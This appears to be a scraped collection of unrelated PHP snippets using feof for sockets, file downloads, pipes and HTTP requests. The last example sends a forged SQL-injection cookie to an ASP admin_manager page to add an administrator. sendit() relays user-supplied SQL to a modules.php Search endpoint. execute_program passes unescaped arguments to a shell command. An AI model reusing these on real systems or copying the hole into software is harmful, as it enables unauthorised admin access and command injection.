Exemple #1
3
/**
 * Submits an HTTP POST to a reCAPTCHA server
 * @param string $host
 * @param string $path
 * @param array $data
 * @param int port
 * @return array response
 */
function _recaptcha_http_post($host, $path, $data, $port = 80)
{
    $req = _recaptcha_qsencode($data);
    $proxy_host = "proxy.iiit.ac.in";
    $proxy_port = "8080";
    $http_request = "POST http://{$host}{$path} HTTP/1.0\r\n";
    $http_request .= "Host: {$host}\r\n";
    $http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
    $http_request .= "Content-Length: " . strlen($req) . "\r\n";
    $http_request .= "User-Agent: reCAPTCHA/PHP\r\n";
    $http_request .= "\r\n";
    $http_request .= $req;
    $response = '';
    if (false == ($fs = @fsockopen($proxy_host, $proxy_port, $errno, $errstr, 10))) {
        die('Could not open socket aah');
    }
    fwrite($fs, $http_request);
    while (!feof($fs)) {
        $response .= fgets($fs, 1160);
    }
    // One TCP-IP packet
    fclose($fs);
    $response = explode("\r\n\r\n", $response, 2);
    return $response;
}
Exemple #2
1
 /**
  * Constructor.
  *
  * @param Horde_Vcs_Base $rep  A repository object.
  * @param string $dn           Path to the directory.
  * @param array $opts          Any additional options:
  *
  * @throws Horde_Vcs_Exception
  */
 public function __construct(Horde_Vcs_Base $rep, $dn, $opts = array())
 {
     parent::__construct($rep, $dn, $opts);
     $cmd = $rep->getCommand() . ' ls ' . escapeshellarg($rep->sourceroot . $this->_dirName);
     $dir = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes);
     if (!$dir) {
         throw new Horde_Vcs_Exception('Failed to execute svn ls: ' . $cmd);
     }
     if ($error = stream_get_contents($pipes[2])) {
         proc_close($dir);
         throw new Horde_Vcs_Exception($error);
     }
     /* Create two arrays - one of all the files, and the other of all the
      * dirs. */
     $errors = array();
     while (!feof($pipes[1])) {
         $line = chop(fgets($pipes[1], 1024));
         if (!strlen($line)) {
             continue;
         }
         if (substr($line, 0, 4) == 'svn:') {
             $errors[] = $line;
         } elseif (substr($line, -1) == '/') {
             $this->_dirs[] = substr($line, 0, -1);
         } else {
             $this->_files[] = $rep->getFile($this->_dirName . '/' . $line);
         }
     }
     proc_close($dir);
 }
 public function compress($source, $type)
 {
     $cmd = sprintf('java -jar %s --type %s --charset UTF-8 --line-break 1000', escapeshellarg($this->yuiPath), $type);
     $process = proc_open($cmd, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
     fwrite($pipes[0], $source);
     fclose($pipes[0]);
     $output = array("stdout" => "", "stderr" => "");
     $readSockets = array("stdout" => $pipes[1], "stderr" => $pipes[2]);
     $empty = array();
     while (false !== stream_select($readSockets, $empty, $empty, 1)) {
         foreach ($readSockets as $stream) {
             $output[$stream == $pipes[1] ? "stdout" : "stderr"] .= stream_get_contents($stream);
         }
         $readSockets = array("stdout" => $pipes[1], "stderr" => $pipes[2]);
         $eof = true;
         foreach ($readSockets as $stream) {
             $eof &= feof($stream);
         }
         if ($eof) {
             break;
         }
     }
     $compressed = $output['stdout'];
     $errors = $output['stderr'];
     $this->errors = "" !== $errors;
     if ($this->errors) {
         $compressed = "";
         $this->errors = sprintf("alert('compression errors, check your source and console for details'); console.error(%s); ", json_encode($errors));
     }
     proc_close($process);
     return $compressed;
 }
 protected function downFile($path, $file_name)
 {
     header("Content-type:text/html;charset=utf-8");
     // echo $path,$file_name;
     //中文兼容
     $file_name = iconv("utf-8", "gb2312", $file_name);
     //获取网站根目录,这里可以换成你的下载目录
     $file_sub_path = $path;
     $file_path = $file_sub_path . $file_name;
     //判断文件是否存在
     if (!file_exists($file_path)) {
         echo '文件不存在';
         return;
     }
     $fp = fopen($file_path, "r");
     $file_size = filesize($file_path);
     //下载文件所需的header申明
     Header("Content-type: application/octet-stream");
     Header("Accept-Ranges: bytes");
     Header("Accept-Length:" . $file_size);
     Header("Content-Disposition: attachment; filename=" . $file_name);
     $buffer = 1024;
     $file_count = 0;
     //返回数据到浏览器
     while (!feof($fp) && $file_count < $file_size) {
         $file_con = fread($fp, $buffer);
         $file_count += $buffer;
         echo $file_con;
     }
     fclose($fp);
 }
Exemple #5
0
function sendMemcacheCommand($server, $port, $command)
{
    $s = @fsockopen($server, $port);
    if (!$s) {
        die("Cant connect to:" . $server . ':' . $port);
    }
    fwrite($s, $command . "\r\n");
    $buf = '';
    while (!feof($s)) {
        $buf .= fgets($s, 256);
        if (strpos($buf, "END\r\n") !== false) {
            // stat says end
            break;
        }
        if (strpos($buf, "DELETED\r\n") !== false || strpos($buf, "NOT_FOUND\r\n") !== false) {
            // delete says these
            break;
        }
        if (strpos($buf, "OK\r\n") !== false) {
            // flush_all says ok
            break;
        }
    }
    fclose($s);
    return parseMemcacheResults($buf);
}
Exemple #6
0
function jyxo_bot($q = "", $d = "mm", $ereg = ".", $notereg = "", $cnt = 10000000000000, $page = 1, $pmax = 2, $o = "nocls")
{
    $i = 0;
    $results = "";
    $results[$i] = "";
    //$q = str_replace(" ", "+", $q);
    $q = urlencode($q);
    for (; $page <= $pmax; $page++) {
        $request = "http://jyxo.cz/s?q={$q}&d={$d}&o={$o}&cnt={$cnt}&page={$page}";
        $fp = fopen($request, "r") or die("   !!! Cannot connect !!!");
        while (!feof($fp)) {
            $line = fgets($fp);
            if (eregi("<div class='r'>", $line) && ereg(" class=ri", $line)) {
                $line = explode("<!--m--><div class='r'><A HREF=\"", $line);
                $line = $line[1];
                $line = explode("\" class=ri", $line);
                $line = trim($line[0]);
                $line = urldecode($line);
                if (@eregi($ereg, $line) && !@eregi($notereg, $line) && !in_array($line, $results)) {
                    echo "{$line}\n";
                    //Output
                    //echo("$i:$line\n"); //Indexed Output
                    //echo("<a href=\"$line\">$line</a><br />\n"); //XHTML Output
                    $results[$i] = $line;
                    $i++;
                }
            }
        }
        fclose($fp);
    }
    echo "\nTotal: {$i}\n";
    //Sumary Output
    return $results;
}
 function test_instam($key)
 {
     // returns array, or FALSE
     // snap(basename(__FILE__) . __LINE__, $key_val);
     // http://www.instamapper.com/api?action=getPositions&key=4899336036773934943
     $url = "http://www.instamapper.com/api?action=getPositions&key={$key}";
     $data = "";
     if (function_exists("curl_init")) {
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, $url);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         $data = curl_exec($ch);
         curl_close($ch);
     } else {
         // not CURL
         if ($fp = @fopen($url, "r")) {
             while (!feof($fp) && strlen($data) < 9000) {
                 $data .= fgets($fp, 128);
             }
             fclose($fp);
         } else {
             //					print "-error 1";		// @fopen fails
             return FALSE;
         }
     }
     /*
     InstaMapper API v1.00
     1263013328977,bold,1236239763,34.07413,-118.34940,25.0,0.0,335
     1088203381874,CABOLD,1236255869,34.07701,-118.35262,27.0,0.4,72
     */
     //			dump($data);
     $ary_data = explode("\n", $data);
     return $ary_data;
 }
function sendit($param)
{
    $prefix = $_POST['prefix'];
    $data = $_POST['sql_text'];
    $host = $_POST['hostname'];
    $page = isset($_POST['dir']) ? '/' . $_POST['dir'] : '';
    $page .= '/modules.php?name=Search';
    $method = $_POST['method'];
    $ref_text = $_POST['ref_text'];
    $user_agent = $_POST['user_agent'];
    $result = '';
    $sock = fsockopen($host, 80, $errno, $errstr, 50);
    if (!$sock) {
        die("{$errstr} ({$errno})\n");
    }
    fputs($sock, "{$method} /{$page} HTTP/1.0\r\n");
    fputs($sock, "Host: {$host}" . "\r\n");
    fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
    fputs($sock, "Content-length: " . strlen($data) . "\r\n");
    fputs($sock, "Referer: {$ref_text}" . "\r\n");
    fputs($sock, "User-Agent: {$user_agent}" . "\r\n");
    fputs($sock, "Accept: */*\r\n");
    fputs($sock, "\r\n");
    fputs($sock, "{$data}\r\n");
    fputs($sock, "\r\n");
    while (!feof($sock)) {
        $result .= fgets($sock, 8192);
    }
    fclose($sock);
    return $result;
}
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $filename = $input->getArgument('filename');
     if (!$filename) {
         if (0 !== ftell(STDIN)) {
             throw new \RuntimeException('Please provide a filename or pipe file content to STDIN.');
         }
         $content = '';
         while (!feof(STDIN)) {
             $content .= fread(STDIN, 1024);
         }
         return $this->display($input, $output, array($this->validate($content)));
     }
     if (0 !== strpos($filename, '@') && !is_readable($filename)) {
         throw new \RuntimeException(sprintf('File or directory "%s" is not readable', $filename));
     }
     $files = array();
     if (is_file($filename)) {
         $files = array($filename);
     } elseif (is_dir($filename)) {
         $files = Finder::create()->files()->in($filename)->name('*.yml');
     } else {
         $dir = $this->getApplication()->getKernel()->locateResource($filename);
         $files = Finder::create()->files()->in($dir)->name('*.yml');
     }
     $filesInfo = array();
     foreach ($files as $file) {
         $filesInfo[] = $this->validate(file_get_contents($file), $file);
     }
     return $this->display($input, $output, $filesInfo);
 }
Exemple #10
0
function Merge($newtext,$oldtext,$pagetext) {
  global $WorkDir,$SysMergeCmd, $SysMergePassthru;
  SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E");
  if (substr($newtext,-1,1)!="\n") $newtext.="\n";
  if (substr($oldtext,-1,1)!="\n") $oldtext.="\n";
  if (substr($pagetext,-1,1)!="\n") $pagetext.="\n";
  $tempnew = tempnam($WorkDir,"new");
  $tempold = tempnam($WorkDir,"old");
  $temppag = tempnam($WorkDir,"page");
  if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); }
  if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); }
  if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); }
  $mergetext = '';
  if (IsEnabled($SysMergePassthru, 0)) {
    ob_start();
    passthru("$SysMergeCmd $tempnew $tempold $temppag");
    $mergetext = ob_get_clean();
  }
  else {
    $merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r');
    if ($merge_handle) {
      while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096);
      pclose($merge_handle);
    }
  }
  @unlink($tempnew); @unlink($tempold); @unlink($temppag);
  return $mergetext;
}
Exemple #11
0
 function PostRequest($url, $referer, $_data, $addheader = null)
 {
     $data = null;
     while (list($n, $v) = each($_data)) {
         $data .= '&' . $n . '=' . rawurlencode($v);
     }
     $data = substr($data, 1);
     $url = parse_url($url);
     if ($url['scheme'] != 'http') {
         die("Only HTTP-Request are supported");
     }
     $host = $url['host'];
     $path = $url['path'];
     $fp = fsockopen($host, 80);
     fputs($fp, "POST {$path} HTTP/1.1\r\n");
     fputs($fp, "Host: {$host}\r\n");
     fputs($fp, "Referer: {$referer}\r\n");
     fputs($fp, "User-Agent: BotTool (http://testhh.pytalhost.com)\r\n");
     fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
     fputs($fp, "Content-length: " . strlen($data) . "\r\n");
     if ($addheader != '') {
         fputs($fp, $addheader);
     }
     fputs($fp, "Connection: close\r\n\r\n");
     fputs($fp, $data);
     $result = null;
     while (!feof($fp)) {
         $result .= fgets($fp, 128);
     }
     fclose($fp);
     $result = explode("\r\n\r\n", $result, 2);
     $header = isset($result[0]) ? $result[0] : '';
     $content = isset($result[1]) ? $result[1] : '';
     return array($header, $content);
 }
 public function donateAction()
 {
     $this->setAccess('frontend/dashboard/access');
     // collect some data
     $data = [];
     exec('git-summary', $gitSummary);
     exec('git log -1 --format=%cd', $gitLastCommit);
     $key = 'git-time-extractor-file';
     $timeStatsFilePath = ROOT_PATH . '/../data/git/stats.csv';
     $this->getCache()->getItem($key, $success);
     if (!$success || !file_exists($timeStatsFilePath)) {
         exec('git_time_extractor > ' . $timeStatsFilePath);
         $this->getCache()->setItem($key, 'true');
     }
     if (isset($gitSummary[2]) && isset($gitSummary[4]) && isset($gitSummary[5])) {
         // summary
         $data['project_age'] = trim(str_replace('repo age : ', '', $gitSummary[2]));
         $data['total_commits*'] = trim(str_replace('commits  : ', '', $gitSummary[4]));
         $data['total_project_files'] = trim(str_replace('files    : ', '', $gitSummary[5]));
     } else {
         $data['project_age'] = '';
         $data['total_commits*'] = '';
         $data['total_project_files'] = '';
     }
     // changelog
     $data['last_commit'] = isset($gitLastCommit[0]) ? $gitLastCommit[0] : '';
     $stats = fopen($timeStatsFilePath, 'r');
     $x = 0;
     $changelog = [];
     $totalTime = 0;
     while (!feof($stats)) {
         $line = fgetcsv($stats, 1024, ',', '"');
         if ($x++ == 0 || count($line) <= 1) {
             continue;
         }
         $changes = explode('---', $line[8]);
         unset($changes[0]);
         $changelog[] = ['date' => $line[0], 'changes' => $changes];
         $totalTime += $line[3];
     }
     $userRepo = $this->getEntityManager()->getRepository('Auth\\Entity\\Benutzer');
     $squadRepo = $this->getEntityManager()->getRepository('Frontend\\Squads\\Entity\\Squad');
     $memberRepo = $this->getEntityManager()->getRepository('Frontend\\Squads\\Entity\\Member');
     // total user
     $data['registered_users'] = $userRepo->createQueryBuilder('c')->select('count(c.id)')->getQuery()->getSingleScalarResult();
     // total squads
     $data['total_squads'] = $squadRepo->createQueryBuilder('c')->select('count(c.id)')->getQuery()->getSingleScalarResult();
     // total squads
     $data['total_squad_members'] = $memberRepo->createQueryBuilder('c')->select('count(c.squad)')->getQuery()->getSingleScalarResult();
     // total images
     $data['total_squad_logos'] = $squadRepo->createQueryBuilder('c')->select('count(c.logo)')->where('c.logo IS NOT NULL')->andWhere("c.logo != ''")->getQuery()->getSingleScalarResult();
     // total image file size
     $data['total_squad_logos_size'] = $this->directoryFileSize(ROOT_PATH . '/uploads/logos/');
     $viewModel = new ViewModel();
     $viewModel->setTemplate('/dashboard/donate.phtml');
     $viewModel->setVariable('data', $data);
     $viewModel->setVariable('changelog', array_reverse($changelog));
     $viewModel->setVariable('total_time', $totalTime);
     return $viewModel;
 }
Exemple #13
0
 public function getfiles()
 {
     //检查文件是否存在
     if (file_exists($this->_filepath)) {
         //打开文件
         $file = fopen($this->_filepath, "r");
         //返回的文件类型
         Header("Content-type: application/octet-stream");
         //按照字节大小返回
         Header("Accept-Ranges: bytes");
         //返回文件的大小
         Header("Accept-Length: " . filesize($this->_filepath));
         //这里对客户端的弹出对话框,对应的文件名
         Header("Content-Disposition: attachment; filename=" . $this->_filename);
         //修改之前,一次性将数据传输给客户端
         echo fread($file, filesize($this->_filepath));
         //修改之后,一次只传输1024个字节的数据给客户端
         //向客户端回送数据
         $buffer = 1024;
         //
         //判断文件是否读完
         while (!feof($file)) {
             //将文件读入内存
             $file_data = fread($file, $buffer);
             //每次向客户端回送1024个字节的数据
             echo $file_data;
         }
         fclose($file);
     } else {
         echo "<script>alert('对不起,您要下载的文件不存在');</script>";
     }
 }
Exemple #14
0
function find_xmpp($fp, $tag, $value = null, &$ret = null)
{
    static $val = null, $index = null;
    do {
        if ($val === null && $index === null) {
            list($val, $index) = recv_xml($fp);
            if ($val === null || $index === null) {
                return false;
            }
        }
        foreach ($index as $tag_key => $tag_array) {
            if ($tag_key === $tag) {
                if ($value === null) {
                    if (isset($val[$tag_array[0]]['value'])) {
                        $ret = $val[$tag_array[0]]['value'];
                    }
                    return true;
                }
                foreach ($tag_array as $i => $pos) {
                    if ($val[$pos]['tag'] === $tag && isset($val[$pos]['value']) && $val[$pos]['value'] === $value) {
                        $ret = $val[$pos]['value'];
                        return true;
                    }
                }
            }
        }
        $val = $index = null;
    } while (!feof($fp));
    return false;
}
 public function read($fp, &$limit = PHP_INT_MAX)
 {
     $fp = ProtobufIO::toStream($fp, $limit);
     while (!feof($fp) && $limit > 0) {
         $tag = Protobuf::read_varint($fp, $limit);
         if ($tag === false) {
             break;
         }
         $wire = $tag & 0x7;
         $field = $tag >> 3;
         switch ($field) {
             case 1:
                 // optional string hash = 1
                 if ($wire !== 2) {
                     throw new \Exception("Incorrect wire format for field {$field}, expected: 2 got: {$wire}");
                 }
                 $len = Protobuf::read_varint($fp, $limit);
                 if ($len === false) {
                     throw new \Exception('Protobuf::read_varint returned false');
                 }
                 $tmp = Protobuf::read_bytes($fp, $len, $limit);
                 if ($tmp === false) {
                     throw new \Exception("read_bytes({$len}) returned false");
                 }
                 $this->hash = $tmp;
                 break;
             default:
                 $limit -= Protobuf::skip_field($fp, $wire);
         }
     }
 }
 public static function seekPKHeader($handle)
 {
     $pkHeader = false;
     $curr = fgetc($handle);
     do {
         $prev = $curr;
         $curr = fgetc($handle);
         $pk = $prev == "P" && $curr == "K";
         if ($pk) {
             $b1 = fgetc($handle);
             $b2 = fgetc($handle);
             if ($b1 == "" && $b2 == "") {
                 $pkHeader = self::ZIP_CENTRAL_FILE_HEADER;
             } else {
                 if ($b1 == "" && $b2 == "") {
                     $pkHeader = self::ZIP_LOCAL_FILE_HEADER;
                 } else {
                     if ($b1 == "" && $b2 == "") {
                         $pkHeader = self::ZIP_END_OF_CENTRAL_DIRECTORY;
                     } else {
                         if ($b1 == "" && $b2 == "") {
                             $pkHeader = self::ZIP_LOCAL_DATA_DESCRIPTOR;
                         } else {
                             fseek($handle, -2, SEEK_CUR);
                             $pk = false;
                         }
                     }
                 }
             }
         }
     } while (!$pk && !feof($handle));
     fseek($handle, -4, SEEK_CUR);
     return $pkHeader;
 }
Exemple #17
0
 public function signature_split($orgfile, $input)
 {
     $info = unpack('n', fread($input, 2));
     $blocksize = $info[1];
     $this->info['transferid'] = mt_rand();
     $count = 0;
     $needed = array();
     $cache = $this->getCache();
     $prefix = $this->getPrefix();
     while (!feof($orgfile)) {
         $new_md5 = fread($input, 16);
         if (feof($input)) {
             break;
         }
         $data = fread($orgfile, $blocksize);
         $org_md5 = md5($data, true);
         if ($org_md5 == $new_md5) {
             $cache->set($prefix . $count, $data);
         } else {
             $needed[] = $count;
         }
         $count++;
     }
     return array('transferid' => $this->info['transferid'], 'needed' => $needed, 'count' => $count);
 }
Exemple #18
0
 public function eof()
 {
     if ($this->resource) {
         return feof($this->resource);
     }
     return true;
 }
function execute_program($program, $args = '')
{
    $buffer = '';
    /*
    $program = find_program($program);
    
    print "$program $args<hr>";
    
    if (!$program) { return; }
    
    if ($args) {
        $args_list = split(' ', $args);
        for ($i = 0; $i < count($args_list); $i++) {
            if ($args_list[$i] == '|') {
                $cmd = $args_list[$i+1];
                $new_cmd = find_program($cmd);
                $args = ereg_replace("\| $cmd", "| $new_cmd", $args);
            }
        }
    }
    */
    if ($fp = popen("/bin/df {$args}", 'r')) {
        while (!feof($fp)) {
            $buffer .= fgets($fp, 4096);
        }
        return trim($buffer);
    }
}
Exemple #20
0
 /**
  * Purge URL coming from stdin
  */
 private function doPurge()
 {
     $stdin = $this->getStdin();
     $urls = array();
     while (!feof($stdin)) {
         $page = trim(fgets($stdin));
         if (preg_match('%^https?://%', $page)) {
             $urls[] = $page;
         } elseif ($page !== '') {
             $title = Title::newFromText($page);
             if ($title) {
                 $url = $title->getInternalURL();
                 $this->output("{$url}\n");
                 $urls[] = $url;
                 if ($this->getOption('purge')) {
                     $title->invalidateCache();
                 }
             } else {
                 $this->output("(Invalid title '{$page}')\n");
             }
         }
     }
     $this->output("Purging " . count($urls) . " urls\n");
     $this->sendPurgeRequest($urls);
 }
function httpGet($host, $base_fd)
{
    global $index;
    $fd = stream_socket_client("{$host}", $errno, $errstr, 3, STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT);
    $index[$fd] = 0;
    $event_fd = event_new();
    event_set($event_fd, $fd, EV_WRITE | EV_PERSIST, function ($fd, $events, $arg) use($host) {
        global $times, $limit, $index;
        if (!$index[$fd]) {
            $index[$fd] = 1;
            $out = "GET / HTTP/1.1\r\n";
            $out .= "Host: {$host}\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fd, $out);
        } else {
            $str = fread($fd, 4096);
            echo $str, PHP_EOL;
            if (feof($fd)) {
                fclose($fd);
                $times++;
                echo "done\n";
                if ($times == $limit - 1) {
                    event_base_loopexit($arg[1]);
                }
            }
        }
    }, array($event_fd, $base_fd));
    event_base_set($event_fd, $base_fd);
    event_add($event_fd);
}
Exemple #22
0
 public static function processemail($emailsrc, $pdfout, $coverfile = '')
 {
     $combfilelist = array();
     # Process the email
     $emailparts = Mail_mimeDecode::decode(array('include_bodies' => true, 'decode_bodies' => true, 'decode_headers' => true, 'input' => file_get_contents($emailsrc), 'crlf' => "\r\n"));
     # Process the cover if it exists
     if ($coverfile !== '') {
         $combfilelist[] = self::processpart(file_get_contents($coverfile), mime_content_type($coverfile));
     }
     # Process the parts
     $combfilelist = array_merge($combfilelist, self::processparts($emailparts));
     # Create an intermediate file to build the pdf
     $tmppdffilename = sys_get_temp_dir() . '/e2p-' . (string) abs((int) (microtime(true) * 100000)) . '.pdf';
     # Build the command to combine all of the intermediate files into one
     $conbcom = str_replace(array_merge(array('INTFILE', 'COMBLIST'), array_keys(self::$driver_paths)), array_merge(array($tmppdffilename, implode(' ', $combfilelist)), array_values(self::$driver_paths)), self::$mime_drivers['gs']);
     exec($conbcom);
     # Remove the intermediate files
     foreach ($combfilelist as $combfilename) {
         unlink($combfilename);
     }
     # Write the intermediate file to the final destination
     $intfileres = fopen($tmppdffilename, 'rb');
     $outfileres = fopen($pdfout, 'ab');
     while (!feof($intfileres)) {
         fwrite($outfileres, fread($intfileres, 8192));
     }
     fclose($intfileres);
     fclose($outfileres);
     # Remove the intermediate file
     unlink($tmppdffilename);
 }
 /**
  *    返回通知结果
  *
  *    @author    Garbin
  *    @param     array $order_info
  *    @param     bool  $strict
  *    @return    array
  */
 function verify_notify($order_info, $strict = false)
 {
     if (empty($order_info)) {
         $this->_error('order_info_empty');
         return false;
     }
     $merchant_id = $this->_config['paypal_account'];
     $req = 'cmd=_notify-validate';
     foreach ($_POST as $key => $value) {
         $value = urlencode(stripslashes($value));
         $req .= "&{$key}={$value}";
     }
     $header = "POST /cgi-bin/webscr HTTP/1.0\r\n";
     $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
     $header .= "Content-Length: " . strlen($req) . "\r\n\r\n";
     $fp = fsockopen('www.sandbox.paypal.com', 80, $errno, $errstr, 30);
     $item_name = $_POST['item_name'];
     $item_number = $_POST['item_number'];
     $payment_status = $_POST['payment_status'];
     $payment_amount = $_POST['mc_gross'];
     $payment_currency = $_POST['mc_currency'];
     $txn_id = $_POST['txn_id'];
     $receiver_email = $_POST['receiver_email'];
     $payer_email = $_POST['payer_email'];
     $order_sn = $_POST['invoice'];
     $memo = empty($_POST['memo']) ? '' : $_POST['memo'];
     if (!$fp) {
         fclose($fp);
         return false;
     } else {
         fputs($fp, $header . $req);
         while (!feof($fp)) {
             $res = fgets($fp, 1024);
             if (strcmp($res, 'VERIFIED') == 0) {
                 if ($payment_status != 'Completed' && $payment_status != 'Pending') {
                     fclose($fp);
                     return false;
                 }
                 if ($receiver_email != $merchant_id) {
                     fclose($fp);
                     return false;
                 }
                 if ($order_info['order_amount'] != $payment_amount) {
                     fclose($fp);
                     $this->_error('money_inequalit');
                     return false;
                 }
                 if ($this->_config['paypal_currency'] != $payment_currency) {
                     fclose($fp);
                     return false;
                 }
                 fclose($fp);
                 return array('target' => ORDER_ACCEPTED);
             } elseif (strcmp($res, 'INVALID') == 0) {
                 fclose($fp);
                 return false;
             }
         }
     }
 }
Exemple #24
0
function http_send($_url, $_body)
{
    $errno = 0;
    $errstr = '';
    $timeout = 10;
    $fp = fsockopen(_IP_, _PORT_, $errno, $errstr, $timeout);
    if (!$fp) {
        return FALSE;
    }
    $_head = "POST /" . $_url . " HTTP/1.1\r\n";
    $_head .= "Host: " . _IP_ . ":" . _PORT_ . "\r\n";
    $_head .= "Content-Type: Text/plain\r\n";
    if (!$_body) {
        $body_len = 0;
    } else {
        $body_len = strlen($_body);
    }
    $send_pkg = $_head . "Content-Length:" . $body_len . "\r\n\r\n" . $_body;
    ilog(iLOG_INFO, "    -----> http_send url: " . $_url);
    ilog(iLOG_INFO, "    -----> http_send body: " . $_body);
    if (fputs($fp, $send_pkg) === FALSE) {
        return FALSE;
    }
    //设置3s超时
    stream_set_timeout($fp, 3);
    while (!feof($fp)) {
        ilog(iLOG_INFO, "    -----> rsp: " . fgets($fp, 128));
    }
    if ($fp) {
        fclose($fp);
    }
    return TRUE;
}
 function downloadToString()
 {
     $crlf = "\r\n";
     // generate request
     $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf . 'Host: ' . $this->_host . $crlf . $crlf;
     // fetch
     $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
     fwrite($this->_fp, $req);
     while (is_resource($this->_fp) && $this->_fp && !feof($this->_fp)) {
         $response .= fread($this->_fp, 1024);
     }
     fclose($this->_fp);
     // split header and body
     $pos = strpos($response, $crlf . $crlf);
     if ($pos === false) {
         return $response;
     }
     $header = substr($response, 0, $pos);
     $body = substr($response, $pos + 2 * strlen($crlf));
     // parse headers
     $headers = array();
     $lines = explode($crlf, $header);
     foreach ($lines as $line) {
         if (($pos = strpos($line, ':')) !== false) {
             $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos + 1));
         }
     }
     // redirection?
     if (isset($headers['location'])) {
         $http = new ilHttpRequest($headers['location']);
         return $http->DownloadToString($http);
     } else {
         return $body;
     }
 }
Exemple #26
0
 /**
  * url 为服务的url地址
  * query 为请求串
  */
 private function sock_post($url, $query)
 {
     $data = "";
     $info = parse_url($url);
     $fp = fsockopen($info["host"], 80, $errno, $errstr, 30);
     if (!$fp) {
         return $data;
     }
     $head = "POST " . $info['path'] . " HTTP/1.0\r\n";
     $head .= "Host: " . $info['host'] . "\r\n";
     $head .= "Referer: http://" . $info['host'] . $info['path'] . "\r\n";
     $head .= "Content-type: application/x-www-form-urlencoded\r\n";
     $head .= "Content-Length: " . strlen(trim($query)) . "\r\n";
     $head .= "\r\n";
     $head .= trim($query);
     $write = fputs($fp, $head);
     $header = "";
     while ($str = trim(fgets($fp, 4096))) {
         $header .= $str;
     }
     while (!feof($fp)) {
         $data .= fgets($fp, 4096);
     }
     return $data;
 }
function send_request_via_fsockopen1($host, $path, $content)
{
    $posturl = "ssl://" . $host;
    $header = "Host: {$host}\r\n";
    $header .= "User-Agent: PHP Script\r\n";
    $header .= "Content-Type: text/xml\r\n";
    $header .= "Content-Length: " . strlen($content) . "\r\n";
    $header .= "Connection: close\r\n\r\n";
    $fp = fsockopen($posturl, 443, $errno, $errstr, 30);
    if (!$fp) {
        $response = false;
    } else {
        error_reporting(E_ERROR);
        fputs($fp, "POST {$path}  HTTP/1.1\r\n");
        fputs($fp, $header . $content);
        fwrite($fp, $out);
        $response = "";
        while (!feof($fp)) {
            $response = $response . fgets($fp, 128);
        }
        fclose($fp);
        error_reporting(E_ALL ^ E_NOTICE);
    }
    return $response;
}
Exemple #28
0
 public function dwld()
 {
     $this->min();
     if (is_numeric($this->getParam("id"))) {
         $this->download->newDownload();
         if ($this->download->getIsLocal()) {
             $url = OWEB_DIR_DATA . "/downloads/" . $this->download->getUrl();
             header('Content-Description: File Transfer');
             header('Content-Type: application/octet-stream');
             header('Content-Disposition: attachment; filename="' . basename($url) . '";');
             readfile($url);
         } else {
             $url = OWEB_DIR_DATA . "/downloads/" . $this->download->getUrl();
             header("Content-Disposition: attachment; filename=" . basename($url));
             header("Content-Type: application/force-download");
             header("Content-Type: application/octet-stream");
             header("Content-Type: application/download");
             header("Content-Description: File Transfer");
             header("Content-Length: " . filesize($url));
             flush();
             // this doesn't really matter.
             $fp = fopen($url, "r");
             while (!feof($fp)) {
                 echo fread($fp, 65536);
                 flush();
                 // this is essential for large downloads
             }
             fclose($fp);
         }
     } else {
         throw new \Model\downloads\exception\DownloadCantBeFind("No Download ID given");
     }
 }
function execute($cmd, &$output, &$error, &$returnCode)
{
    $descriptorspec = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
    $process = proc_open($cmd, $descriptorspec, $pipes);
    if (!is_resource($process)) {
        throw new RuntimeException("Unable to execute the command. [{$cmd}]");
    }
    stream_set_blocking($pipes[1], false);
    stream_set_blocking($pipes[2], false);
    $output = $error = '';
    foreach ($pipes as $key => $pipe) {
        while (!feof($pipe)) {
            if (!($line = fread($pipe, 128))) {
                continue;
            }
            if (1 == $key) {
                $output .= $line;
                // stdout
            } else {
                $error .= $line;
                // stderr
            }
        }
        fclose($pipe);
    }
    $returnCode = proc_close($process);
}
Exemple #30
-1
function send($cmd)
{
    global $host, $path;
    $message = "POST " . $path . "admin/admin_manager.asp?action=add HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://{$host}{$path}\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: securitylab\r\n";
    $message .= "X-Forwarded-For:1.1.1.1\r\n";
    $message .= "Host: {$host}\r\n";
    $message .= "Content-Length: " . strlen($cmd) . "\r\n";
    $message .= "Cookie: m_username=securitylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d1088456838f524ae9d7\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    echo $message;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    $resp = '';
    while ($fp && !feof($fp)) {
        $resp .= fread($fp, 1024);
    }
    echo $resp;
    return $resp;
}